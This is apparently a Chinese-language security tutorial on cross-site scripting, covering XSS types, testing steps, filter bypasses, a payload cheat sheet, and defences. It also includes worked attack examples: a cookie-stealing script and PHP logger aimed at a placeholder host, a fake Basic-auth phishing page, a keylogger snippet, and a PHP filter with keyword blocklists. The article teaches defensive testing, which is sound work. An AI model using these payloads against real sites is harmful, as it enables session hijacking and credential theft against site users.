Web安全防护——XSS攻击 – 作者:magic24

XSS攻击(跨站脚本攻击)是指攻击者利用网站程序对用户输入过滤不足的缺陷,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。其英文全称为Cross Site Scripting,为了和层叠样式表(Cascading Style Sheet,CSS)有所区分,安全专家们通常将其缩写为XSS。

1. XSS攻击的原理

跨站脚本攻击本质上是一种将恶意脚本嵌入到当前网页中并执行的攻击方式。通常情况下,黑客通过“HTML注入”行为篡改网页,并插入恶意JavaScript(简称JS)脚本,从而在用户浏览网页时控制浏览器行为。这种漏洞产生的主要原因是网站对于用户提交的数据过滤不严格,导致用户提交的数据可以修改当前页面或者插入了一段脚本。

通俗来说,网站一般具有用户输入参数功能,如网站留言板、评论处等。攻击者利用其用户身份在输入参数时附带了恶意脚本,在提交服务器之后,服务器没有对用户端传入的参数做任何安全过滤。之后服务器会根据业务流程,将恶意脚本存储在数据库中或直接回显给用户。在用户浏览含有恶意脚本的页面时,恶意脚本会在用户浏览器上成功执行。恶意脚本有很对表现形式,如常见的弹窗、窃取用户Cookie、弹出广告等,这也是XSS攻击的直接效果。

一般来说,存在XSS攻击风险的功能点主要涉及以下两种:

  • 评论功能

用户输入评论(评论处为攻击代码)→服务器接收到评论并存储(入库存储)→前台自动调用评论→任何人触发评论(直接看到攻击代码)→攻击成功。

  • 论坛私信功能

用户发送私信(私信内夹带攻击代码)→服务器接收私信并存储(入库处理)→收信用户打开私信(展示攻击代码)→攻击成功

上述两个应用功能在各类网站应用中非常常见。XSS攻击的目标为打开已经嵌入XSS攻击代码网页的用户。用户的身份类型各不相同。根据身份特点,重点需要保障的用户信息为:

1)网站的管理员账号信息

2)网站用户的账号信息及特权、金额等。

3)活跃账号的信息

……

XSS的攻击面积广,有效信息可直接辅助后渗透攻击,并且导致的危害绝对不容小觑,因此绝不可坐视不管。

2. XSS攻击的分类

XSS攻击通常在用户访问目标网站时或者之后进行某项动作时触发并执行。根据攻击代码的存在地点及是否被服务器存储,并且根据XSS攻击存在的形式及产生的效果,可以将其分为以下三类:
1)反射型XSS:涉及浏览器——服务器交互

2)存储型XSS:涉及浏览器——服务器——数据库交互

3DOMXSS:涉及浏览器——服务器交互

目前,可直接产生大范围危害的是存储型XSS。攻击者可利用JS脚本编写各类型攻击,实现偷取用户Cookie、进行内网探测、弹出广告等行为。攻击者构造的JS脚本会被存储型跨站漏洞直接存储到数据库中,一旦有人访问还有XSS漏洞的页面,则攻击者插入的JS脚本生效,攻击成功。

2.1 反射型XSS

存在反射性XSS漏洞的页面只是将用户输入的数据通过URL的形式直接或未经过完善的安全过滤就在浏览器中进行输出,会导致输出的数据中存在可能呗浏览器执行的代码数据。由于此种类型的跨站代码存在于URL中,因此黑客通常需要通过诱骗或加密变形等方式,将存在恶意代码的链接发给用户,只有用户触发之后才能使攻击成功实施。

2.2 存储型XSS

存储型XSS脚本攻击是指Web应用程序将用户输入的数据信息保存在服务端的数据库或其他文件形式中,网页进行数据查询展示时,会从数据库中获取数据内容,并将数据内容在网页中进行输出展示。只要用户访问具有XSS攻击脚本的网页时,就会触发攻击效果,因此存储型XSS具有较强的稳定性。

2.3 基于DOM的XSS

严格意义上来讲,基于DOMXSS攻击并非按照“数据是否存在服务器端”来划分,其从效果上来说也算是反射型XSS。但是这种XSS实现方法比较特殊,是由有JSDOM结点编程可以改变HTML代码这个特性而形成的的XSS攻击。不同于反射型XSS和存储型XSS,基于DOMXSS攻击的利用。但实际应用中,由于构造语句具有较大的难度,且实现效果及要求较为苛刻,因此较为少见。

3. XSS攻击的条件

XSS漏洞的利用过程较为直接。反射型/DOMXSS均可以理解为:服务器接收到数据,并原样返回给用户,这个过程中Web应用并没有自身的存储过程(存入数据库)。这也就导致了攻击无法持久化,仅针对档次请求有效,也就无法直接攻击其他用户。当然,这两类攻击也可利用钓鱼、垃圾邮件等手段产生攻击其他用户的效果。但是需在社会工程学的配合下执行。随着目前浏览器的各类过滤措施愈发严格,在实战过程中这类攻击的成功率、效果及危害程度均不高。但我们仍需管制这类风险。

在整体流程及防护方面反射型与存储型XSS攻击的实现原理和主要流程非常相似,但由于存储型XSS攻击的持久性及危害更加强大,因此本章将重点分析存储型XSS并以此为例进行漏洞分析及防护手段设计,如无明确说明,以下均已存储型跨站攻击作为分析样例。反射型/DOMXSS的原理及防护手段均与存储型相同,最后再进行总结。

存储型XSS主要业务流程图如下。

1602730422_5f87b9b667776bf844b6f.png

其中两个业务流程关键点需要重点关注:

1入库处理:攻击脚本需存储在数据库中,可供当前应用的使用者读取。

2出库处理:由当前功能的使用者按照正常的业务流程从数据库中读取信息,这时攻击脚本即开始执行。

在以上两个关键点之内,再对攻击进行分析,并结合XSS攻击的特性可知,XSS攻击成功必须要满足一下四个条件:

1入库处理

①目标网页有攻击者可控的输入点。

②输入信息可以在受害者的浏览器中显示

③输入具备功能的可执行脚本,且在信息输入和输出的过程中没有特殊字符的过滤和字符转义等防护措施,或者说防护措施可以通过一定的手段绕过。

2出库处理

浏览器将输入解析为脚本,并具备执行该脚本的能力。

如果要实现一个XSS存储跨站攻击,以上四点缺一不可。如果要做针对XSS攻击的防御,只要针对上述4点的任意一点做好防御,攻击就无法展开,XSS漏洞也就不存在了。

总结

作为攻击者,如果要利用存储型跨站漏洞攻击,则先要将攻击脚本存储在服务器端,并且保证攻击脚本在读取后可顺利执行。当应用功能对上述条件均满足时,才可以保证漏洞被成功利用。

作为防护者,了解到实时存储型XSS攻击的前提及必要条件后,从防护角度,可以选择禁止攻击脚本存储在数据库,即在入库时做处理;或者对攻击脚本进行转义,避免出库时顺利执行。满足以上两种条件中的任何一个即可实现有效的防护。

4. 漏洞测试的思路

在漏洞存在的情况下,如何有效发现漏洞及确定防护手段,都需要人工根据Web应用的功能特点进行逐项测试。这要求在渗透测试过程中,假设测试人员是一名攻击者,以攻击手段开展针对目标系统的XSS攻击测试。

4.1 基本测试流程

XSS漏洞的发现是一个困难的过程,尤其是对于存储型跨站漏洞。这主要取决于可能含有XSS漏洞的业务流程针对用户参数的过滤程度或者当前的防护手段。由于XSS漏洞最终仍需业务使用者浏览后方可触发执行,导致某些后台场景需要管理员触发后方可发现。

目前,市面上常见的Web漏洞扫描器均可扫描反射型XSS,并且部分基于浏览器的XSS漏洞测试插件可测试存储型XSS。但以上工具均会存在一定程度的误报,因此需要安全人员花费大量的时间和经历对检测结果进行分析及测试。这主要是由于存储型XSS必须由用户触发才能被发现了,如果用户一直不触发,则漏洞无法检查出来。

漏洞的标准挖掘思路如下:

1)漏洞挖掘,寻找输入点。

2)寻找输出点。

3)确定测试数据输出位置。

4)输入简单的跨站代码进行测试。

如果发现存在XSS存储型跨站漏洞,那么就可以根据漏洞详情进行后续利用及目标防护手段测试等。

4.1.1 寻找输入点

一般情况下,XSS攻击是通过“HTML注入”方式来实现的。也就是过,攻击者通过提交参数,意图修改当前页面的HTML结构。XSS攻击成功时,提交的参数格式可在当前页面拼接成可执行的脚本。可见,XSS漏洞存在的要求就是:当前页面存在参数显示点。且参数点可被用户控制输入。因此,寻找用户端可控的输入点是XSS攻击成功的第一步。

在一个常规网站中,存储型XSS一般发生在留言板、在线信箱、评论栏等处,表现特征是用户可自行输入数据,并且数据会提交给服务器。通常可以通过观察页面的交互行为来确定输入点。通常情况下,要求可提交数据量至少在20字符以上,否则JavaScript脚本很难执行。在日常应用中,如留言板、在线信箱、评论栏等功能都允许用户输入100字左右,均能达到XSS攻击对允许输入字符的要求。

下图是一个留言板系统,可以很直观地观察到输入点的位置。

1602731932_5f87bf9cb555de532c083.png

根据上图可知,用户端可控制的输入点为主题、内容。因此在后续测试过程中,需针对这两个测试点进行定向测试。

除了直接观察之外,利用Web代理工具抓包来查看提交参数也是寻找输入点的一个有效途径。在一些输入点隐蔽或者用户输入被JS脚本限制的页面,可以采用burpsuite抓包的方式寻找输入点。通过直接抓取HTTP包,观察里面是否有隐藏参数,并且对隐藏参数在页面上进行定位,即可找到输入点位置。

4.1.2 测试输出位置

XSS攻击的受害者是访问过包含XSS恶意代码页面的用户,输入内容需要在用户页面上进行展示才能展开XSS攻击。针对一般的留言板、评论栏系统,安全人员能根据经验轻松地判断出输出点的位置;对于一些不常见的系统,可通过将输入内容在回显页面中进行搜索来确定输出位置。测试主要基于两个目的:

①确定网站对输入内容是否进行了输出,判断是否可以展开XSS攻击

②有时候需要根据输出的位置的HTML环境来编写有效的XSS代码

针对上一节的留言板系统,通过测试可以很直观地看到输出的方式和位置。

1602732739_5f87c2c3c020db4dda775.png

在输入数据的地方进行测试。测试开始之初,可以利用正常内容进行测试,提交后寻找内容显示点以发现输入参数的具体输出位置。需要注意的是,攻击者一般会利用正常内容进行第一步测试,主要是为了避免攻击行为提前暴露。

需要注意的是,有些输入点无法直接回显,例如一些网站的“站长信箱”模块。用户的输入内容可能不会在前台展示,或者需要一定的时间通过人工审核后才能展示,因此也就无法直接观察测试结果,这给测试输出点带来了很大的难度。这种情况下,一般通过经验判断是否会输出,或者直接尝试XSS攻击窃取Cookie。由于后台审核的一般是管理员账户,若测试成功可能直接获得管理权限,但直接对管理员实施的XSS攻击也增加了被发现了的风险。这也就是俗称的“XSS盲打后台”。

XSS盲打后台的目标功能点通常有:

  • 留言板
  • 意见反馈点
  • 私信功能
  • 文件上传点中的信息输入框
  • 在线提交信息等

XSS在语句插入后不会马上执行,而是在此功能被使用后方能产生效果。可以看出,此类功能点均有很大概率会被管理员运行,导致XSS盲打的攻击代码会在管理员访问此类功能时执行。总之,XSS盲打的目标是找到输入点插入跨站代码,并且要求插入的代码由管理员在正常Web应用流程中触发。因此,如何寻找与管理员的“互动”成为关键点。

4.1.3 测试基本跨站代码

通过上面两个步骤的测试,可发现具体的输入点及输出位置,那么存在XSS漏洞的基本条件就已经具备了。但XSS攻击在这个测试点能否顺利进行,就需要通过一些基本的跨站代码来测试,如果其中环节被过滤,则攻击依然无效。测试XSS攻击的经典方式就是“弹窗测试”,即在输出中插入一段可以产生弹窗效果的JavaScript脚本,如果刷新页面产生了弹窗,表明XSS攻击测试成功。

在留言板中插入如下的弹窗测试脚本:

<script>alert(/xss/)</script>

这段代码的意义是:通过JavaScript执行弹窗命令,弹窗命令为alert,内容为/xss/,提交位置如下图所示。

1602733679_5f87c66f638c2c0d59e2d.png

执行效果如下图所示。

1602733715_5f87c69343989f2967872.png

点击“提交”按钮,并刷新页面。观察网站,发现出现了弹窗,表名测试成功。至此可确认,此功能点存在存储型跨站漏洞。

4.2 XSS进阶测试方法

以上介绍了基础的漏洞环境,并且没有添加任何的安全防护手段。现以<script>alert(/xss/)</script>语句为例,后台设置了针对<script></script>标签的过滤。当用户传入参数包含上述两个标签时,会被直接删掉。在进阶测试阶段,主要目的是识别漏洞的防护方式并寻找绕过思路。

进阶测试的第一阶段需要在已添加防护功能的页面上,判断漏洞是否存在。判断漏洞是否存在的第一步就是要尝试是否可成功闭合输出点前后的标签。一旦标签闭合成功则基本可确定XSS漏洞存在。之后再利用各种手段进行绕过尝试,构造可执行的语句即可。最终就可得到漏洞的具体利用方式。

4.2.1 闭合标签测试

上节所使用的的基本测试代码是用于跨站测试的经典代码,但并不适用于所有地方。在经典代码失效的时候,需要对输出点进一步进行分析,判断输出点周围的标签环境,修改测试代码来达到XSS效果。

推荐使用浏览器的“查看网页源代码”功能来分析网页源码,这里先利用正常内容进行测试(测试内容为“444”,测试点为“内容”),一寻找输出点,如图所示。

1602739760_5f87de30a589dd0d713dd.png

注意观察源代码的倒数第二行,发现之前提交的测试内容在一对多行文本框<textarea></textarea>标签中输出。由于存在这对标签,导致在该标签中的内容即便出现了JavaScript脚本,也会被浏览器当成文本内容进行显示,并不会执行JavaScript语句。面对这种参数输出在标签内的情况,在构造注入语句时,需要先闭合前面的<textarea>标签进而使原有的标签内容失效,在构造JavaScript语句。

这里使用下面的测试代码:

</textarea><script>alert(/xss/)</script>

在以上插入的语句中,</textarea>成功闭合了原有页面的<textarea>标签。这就导致语句中的<script>alert(/xss/)</script>HTML结构中可顺利执行。这里可以看到后面依然有一个</textarea>标签,但由于原有的<textarea>标签已被XSS语句成功闭合,因此没有任何实际效果。闭合标签的主要目标在于可成功修改当前页面结构,此步骤如果成功,基本上可确定XSS漏洞存在。

4.2.2 大小写混合模式

随着Web安全防护技术的进步,稍有安全意识的Web开发者都会使用一定的防护手段来防御XSS攻击。接下来所讲的几种测试方法针对基于黑名单过滤的XSS防护手段进行绕过测试。

所谓黑名单过滤,就是开发者将<script>等易于触发脚本执行的标签关键词作为黑名单,当用户提交的内容中出现了黑名单关键词时,系统会将内容拦截丢弃或者过滤掉关键词,以此来防止触发浏览器的脚本执行功能,避免XSS攻击。

如果黑名单过滤的情况不充分,攻击者就可以利用黑名单之外的关键词来触发攻击。而事实上,由于XSS跨站的类型变化多样,可以利用的代码方式十分丰富,黑名单关键词很难考虑周全,因此给跨站攻击带来了可乘之机。

针对黑名单的攻击思路是,利用非黑名单内的代码进行执行,以绕过当前的防护机制。首先利用经典的跨站代码进行测试,猜测一下后台的过滤机制。有经验的XSS漏洞研究人员会利用查侧漏语句进行尝试,查侧漏语句为XSS中必需的各类关键字及词,如<>、!、’、”、*、[]、{}等。当然,也可以直接利用测试语句进行提交测试,这可根据个人习惯确定。提交如下信息:

<script>alert(/xss/)</script>

提交后观察效果,效果如下图所示,发现一对<script>标签消失了。

1602761824_5f883460d87ad34dcdd17.png

查看网页源码,发现在源码处同样缺少了一对<script>标签,只剩下了alert(/xss/)。因此可推测后台的防护规则是直接过滤掉了<script>关键词。但由于JavaScript脚本不区分大小写,因此就可尝试测试后台设置关键词的时候是否有遗漏。这里利用大小写组合的关键词来防止<script>被过滤。于是可采用大小写混合的方式,尝试是否能够绕过黑名单的限制。测试代码如下:

<ScriPt>alert(/Xss/)</sCript>

测试代码将关键词script中的部分字符进行大写转换,并提交。这是利用了JavaScript不区分大小写的特性,在提交语句时将部分关键词修改为大小写字母形式,达到了避免后台黑名单过滤的效果。执行效果如图所示。

1602762305_5f883641852dee1c2b4ce.png

刷新页面,再次出现弹窗,说明大小写混合的方绕过了后台的黑名单检测。

针对这种防护效果的缺陷,在实际应用中,系统会对输入数据进行强制小写转换,以提升黑名单的可信度。强制大小写转换功能可利用PHP下的函数进行实现:

  • strtolower():将字符串转换为小写形式
  • strtoupper():将字符串转换为大写形式

使用大小写强制转换之后,可解决利用大小写来绕过黑名单的防护的缺陷,并且再配合完善的黑名单,就可以有效提升XSS漏洞的防护效果。

4.2.3 多重嵌套测试

当大小写混合的模式行不通时,说明后台对关键词过滤进行了较为严格的转换和校验。在实际应用中,以PHP为例,采用正则表达式来匹配关键词时,忽略大小写进行匹配并不是什么难事。无论在前台给出什么样的大小写组合,只要出现了<script>这个关键词,服务器便会将其从字符串中删除。

那么,继续思考有效的绕过方式。既然当前服务器以过滤关键词作为防护手段,那就尝试构造一个多余的关键词来让服务器主动删除,留下的内容会自动拼接成有效词,从而利用服务器过滤代码主动删除敏感字的功能实现绕过。可尝试构建一下测试代码:

<scri<script>pt>alert(/XSs/)</SC</script>RIPT>

以上测试代码构建思路为:由于<script>标签会自动删除,因此构造攻击代码为<scri<script>pt>。这样<script>会被自动删除,留下的<scri和pt>会自动构成<script>,这样的手段即为多重嵌套测试。

将测试代码提交,当这段代码被提交到后台时,服务器检测到<scri<script>pt>,删除<script>后,输出到浏览器的内容变为了<script>alert(/XSs/)</SCRIPT>。提交后效果如图。

1602763363_5f883a631dfeae5c8b6bd.png

此处要说明的是,如果服务器过滤规则更严格一些,可能会通过循环类删除关键词,即只要字符串中还存在关键词,程序就会循环往复继续删除。这种情况下多重嵌套测试就不适用了。

针对嵌套的防护代码为:

if(preg_match('/(<script>|</script>)+/',$string)){
     return false;
}

利用正则表达式即可实现对嵌套单词的过滤,从而避免利用嵌套方式绕过后台检测。因此当Web应用使用这段代码或者类似的语句进行防护时,之前所用的XSS漏洞测试代码均没有任何效果。类似的防护手段还有很多,防护代码也需要根据实际情况及防护需求进行变更,从而获得更好的防护效果。

4.2.4 多标签测试

在测试XSS的过程中,能够触发弹窗效果的远不止<script>这一种标签。在不同的浏览器、不同的场景、不同的环境下,能够触发攻击效果的跨站代码也不尽相同。下面根据来自互联网的公开资料,整理了一份常见的跨站代码列表(XSS Sheet),在测试的过程中可以使用其中的一些来检测弹窗效果,从而判断该标签是否可用于跨站攻击。

需要注意的是,很多已公开的XSS Sheet中存在大量目前无法再使用的语句,这主要与XSS语句触发时,用户的浏览器版本、XSS漏洞环境及防护方式、输入点所在的位置等有直接关系。以下语句主要供学习参考,可观察各类语句的写法,更好地了解XSS的攻击方式及构造原理。当然在实际中,可利用的方式远不止于此。

"><iframe src=http://XXX.XXX>
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{[]}
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=jaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG """><SCRIPT>alert("XSS")</SCRIPT">
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#00000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="jav      ascript:alert('XSS');">
<IMG SRC="jav#x09;script:alert('XSS');">
<IMG SRC="jav#x0A;script:alert('XSS');">
<IMG SRC="jav#x0D;script:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<IMG LOWSRC="javascript:alert('XSS')">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<IMG SRC='vbscript:msgbox("XSS")'>
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028\0027\0058\0053\0053\0027\0029'\0029">
"><script >alert(document.cookie)</script>
%253csript%253ealert(document.cookie)%253c/script%253e
'; alert(document.cookie); var foo='

XSS语句的基本特点是利用各类JS脚本特性来设计触发点,攻击代码则可利用各类型编码或者外部引用方式进行加载。以上仅给出了其中一小部分,在实践中千变万化,利用方式也各不相同。

目前存在XSS攻击漏洞的业务系统非常多,这主要与Web系统与用户的交互功能逐渐完善有着直接的关系,很多钓鱼攻击都会利用反射型跨站实现。但IE\Chrome\Firefox浏览器中的XSS Filter(针对XSS攻击的过滤器)包含语句非常全面,以上的测试语句在反射型跨站时已经基本无法使用。需要注意的是,存储型跨站由于攻击代码由Web站点在其数据库中读取,因此不会触发浏览器的XSS Filter,因此只要符合html格式,那么语句都可以执行成功。浏览器的过滤机制在于会提前识别post或get方法传递参数过滤中是否存在跨站代码,再根据服务器的响应包内容进行判断,如果存在则禁止显示。

4.3 测试流程总结

以上介绍了标准漏洞挖掘及测试流程。在测试过程中,需先判断漏洞存在的基本环境,再根据环境测试有效的XSS语句。

5. XSS攻击的利用方式

XSS攻击广泛存在于有数据交互的地方,OWSP TOP 10多次把XSS威胁列在前位。之前所使用的弹窗测试只是用来证明XSS的存在,但远远不能说明XSS危害,毕竟弹出窗口、显示文字等并不会对用户产生实质性影响。事实上,XSS脚本具有相当大的威胁,其危害远远比想象中要严重。究其原因,一方面是脚本语言本身具有强大的控制能力,另外一方面是能带来对浏览器漏洞利用的权限升级。

5.1 窃取Cookie

如果说弹窗是XSS测试中的一种经典的测试方式,那么窃取Cookie则是XSS攻击的一个常见的行为。由于HTTP的特性,Cookie是目前Web系统识别用户身份和会话保持状态的主要方式。一旦应用程序中存在跨站脚本执行漏洞,那么攻击者就能利用XSS攻击轻而易举地获得被攻击这的Cookie信息,并伪装成当前用户登录,执行恶意操作等行为。如果受害用户是管理员,那么攻击者甚至可以轻易地获取Web系统的管理权限。这类权限通常会有文件修改、上传、连接数据库等功能,再配合后续的攻击,会给当前Web应用安全带来很大的威胁。

攻击者要通过XSS攻击获取用户的Cookie,就需要编写对应的获取当前用户Cookie的脚本。这里假设攻击者在一个常规运行的网站的留言板上发现了一个存储型XSS漏洞,那么攻击者就可以使用下面的代码进行跨站攻击:

<script>document.location=’http://www.xxx.com/cookie.php?cookie=’+document.cookie;</script>

当用户浏览到留言板上的这条信息是,浏览器会加载这段留言信息,从而触发了这个JS攻击脚本。攻击脚本便会读取该正常网站下的用户Cookie,并将Cookie作为参数以GET方式提交到攻击者的远程服务器www.xxx.com。在该远程服务器中,攻击者事先准备好了一个cookie.php放在Web根目录,代码如下:

<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","a");
Fwrite($log,$cookie."/n");
Fclose($log);
?>

当由用户触发攻击时,攻击者服务器中的cookie.php便会接收受害人传入的Cookie,并保存在本地文件cookie.txt中。若Cookie还在有效期内,攻击者便可以利用该Cookie伪装成受害用户进行登录,进行非法操作。

5.2 网络钓鱼

通过上述介绍,我们可直观地了解攻击者如何利用XSS漏洞并使用JS脚本来窃取用户的Cookie。攻击者精心构造的跨站代码可以实现更多功能,诸如改变网站的前端页面、构造虚假的表单来诱导用户填写信息等。如果攻击者利用一个正规网站的XSS漏洞来伪造了一个钓鱼页面,那么与传统的钓鱼网站相比,从客户端浏览器的地址栏看起来XSS伪造的钓鱼页面属于该正规网站,具有非常强的迷惑性。

利用XSS实现的网络钓鱼有很多种方式,下面以HTML注入的基础认证钓鱼为例来领略一下它的效果以及迷惑性。

我们还是利用之前的留言板环境。假设这是一个正规网站的留言系统,通过前面所述的测试方法,成功地发现这个页面存在XSS漏洞。为了直观地展示钓鱼的效果,以下的演示环境在后台没有对用户输入进行任何过滤。攻击者构造了如下一段跨站代码:

</script><script src=”http://www.xxx.com/auth.php”></script><script>

其中,域名http://www.xxx.com是攻击者自己的服务器,攻击者在上面提前写好了一个PHP文件,命名为auth.php,代码如下:

<?php
error_reporting(0);
/*检查变量$PHP_AUTH_USER和$PHP_AUTH_PW的值*/
if((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))){
/*空值:发送产生显示文本框的数据头部*/
header('WWW-Authenticate:Basic realm="'.addslashes(trim($_GET['info'])).'"');
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Required.';
exit;
}
Else if ((isset($_SERVER['PHP_AUTH_USER']))&&(isset($_SERVER['PHP_AUTH_PW']))){
/*变量值存在,检查其是否正确*/
header("location:http://www.xxx.com/index.php?di=api&id={$_GET[id]}&username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}");
}
?>

这里使用DVWA进行基础认证钓鱼测试。当用户刷新网页触发XSS攻击时,页面会弹出基础认证框,让用户误认为正规网站需要再次进行密码校验。由于在当前页面触发,大多数用户并不会对此产生警觉,而是选择输入当前用户名及密码信息。用户在此输入的账号及密码会被攻击者通过服务器上预设的接收页面进行保存,这样一次基于XSS漏洞的基础认证钓鱼就完成了。在存储型跨站环境下,数据库的脚本均会被可看到的用户执行。因此如果在合理位置插入,在短时间内即可获得大量的用户登录信息。

测试效果如下图所示。

1602826933_5f8932b59457fbf61881b.png

常见的XSS网络钓鱼方式还有重定向钓鱼、跨框架钓鱼,高级的网络钓鱼还可以劫持用户表单获取明文密码等,每种钓鱼都要根据跨站漏洞站点的实际情况来部署XSS代码,伪造方式也是层出不穷,。

5.3 窃取客户端信息

攻击者在筹备一场有预谋的攻击时,获取尽可能多的攻击对象信息是必不可少的,而JS脚本可以帮助攻击者通过XSS漏洞的利用来达到这个目的。通过使用JS脚本,攻击者可以获取用户浏览器访问记录、IP地址、开放端口、剪贴板内容、按键记录等许多敏感信息,并将其发送到自己的服务器保存下来。下面以监听用户键盘动作为例,看看如何通过跨站代码来实现。

当用户访问登录、注册、支付等页面时,在页面下的按键操作一般都是输入账号、密码等重要信息。如果攻击者在这些页面构造了跨站攻击脚本,便可记录用户的案件信息,并将信息传输到自己的远程服务器,那么用户的密码等资料就发生了泄露。此处为了更好的演示效果,将监听到的用户按键直接采用网页弹窗弹出。构造的跨站代码如下:

<script>

function keyDown(){

var realkey = String.fromCharCode(event.keyCode);

alert(realkey);}

document.onKeydown = keyDown;

</script>

此段代码的效果是对键盘点击进行赋值并用alert方式弹出。效果如下图所示。

1602827006_5f8932fe9fbbbc5fb1884.png

6. XSS漏洞的标准防护方法

XSS的原理比较直观,就是注入一段能够被浏览器解释执行的代码,并且通过各类手段是的这段代码“镶嵌”在正常网页中,由用户正常访问中触发。然而,一旦此类安全问题和代码联系起来,会直接导致镶嵌的内容千变万化,因此,XSS漏洞一旦被利用,所造成的危害往往不是出现一个弹窗那么简单。XSS作为安全漏洞已出现在安全人员及公众视野多年,防护思路相对成熟,但是要想很好的防御它却不是那么简单。究其原因,一时客户端使用的Web浏览器本事无法确认存储里XSS中语句是否为网页正常内容,而这些浏览器正好是XSS的攻击主战场;而是Web应用程序中存在广泛的输入/输出交互点,开发人员缺常常忽视此问题,即使已经存在数量巨大的的漏洞,在没有影响正常业务开展的情况下,开发人员也无暇去修补。

6.1 过滤特殊字符

在前面提到过一些关于特殊字符的内容。过滤特殊字符的方法又称为XSS Filter,其作用就是过滤客户端提交的有害信息,从而防范XSS攻击。XSS攻击代码要想执行,必须使用一些脚本中的关键函数或者标签,如果能编写一个较为严密的过滤函数,将输入信息中的关键字过滤掉,那么跨站脚本就不能被浏览器识别和执行了。下面来看网络一个比较通用的XSS Filter代码:

<?php  
function RemoveXSS($val) {  
   // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed  
   // this prevents some character re-spacing such as <java\0script>  
   // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs  
   $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);  

   // straight replacements, the user should never need these since they're normal characters  
   // this prevents like <IMG SRC=@avascript:alert('XSS')>  
   $search = 'abcdefghijklmnopqrstuvwxyz'; 
   $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';  
   $search .= '1234567890!@#$%^&*()'; 
   $search .= '~`";:?+/={}[]-_|\'\\'; 
   for ($i = 0; $i < strlen($search); $i++) { 
      // ;? matches the ;, which is optional 
      // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars 

      // @ @ search for the hex values 
      $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ; 
      // @ @ 0{0,7} matches '0' zero to seven times  
      $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ; 
   } 

   // now the only remaining whitespace attacks are \t, \n, and \r 
   $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); 
   $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'); 
   $ra = array_merge($ra1, $ra2); 

   $found = true; // keep replacing as long as the previous round replaced something 
   while ($found == true) { 
      $val_before = $val; 
      for ($i = 0; $i < sizeof($ra); $i++) { 
         $pattern = '/'; 
         for ($j = 0; $j < strlen($ra[$i]); $j++) { 
            if ($j > 0) { 
               $pattern .= '(';  
               $pattern .= '(&#[xX]0{0,8}([9ab]);)'; 
               $pattern .= '|';  
               $pattern .= '|(&#0{0,8}([9|10|13]);)'; 
               $pattern .= ')*'; 
            } 
            $pattern .= $ra[$i][$j]; 
         } 
         $pattern .= '/i';  
         $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag  
         $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags  
         if ($val_before == $val) {  
            // no replacements were made, so exit the loop  
            $found = false;  
         }  
      }  
   }  
   return $val;  
}   

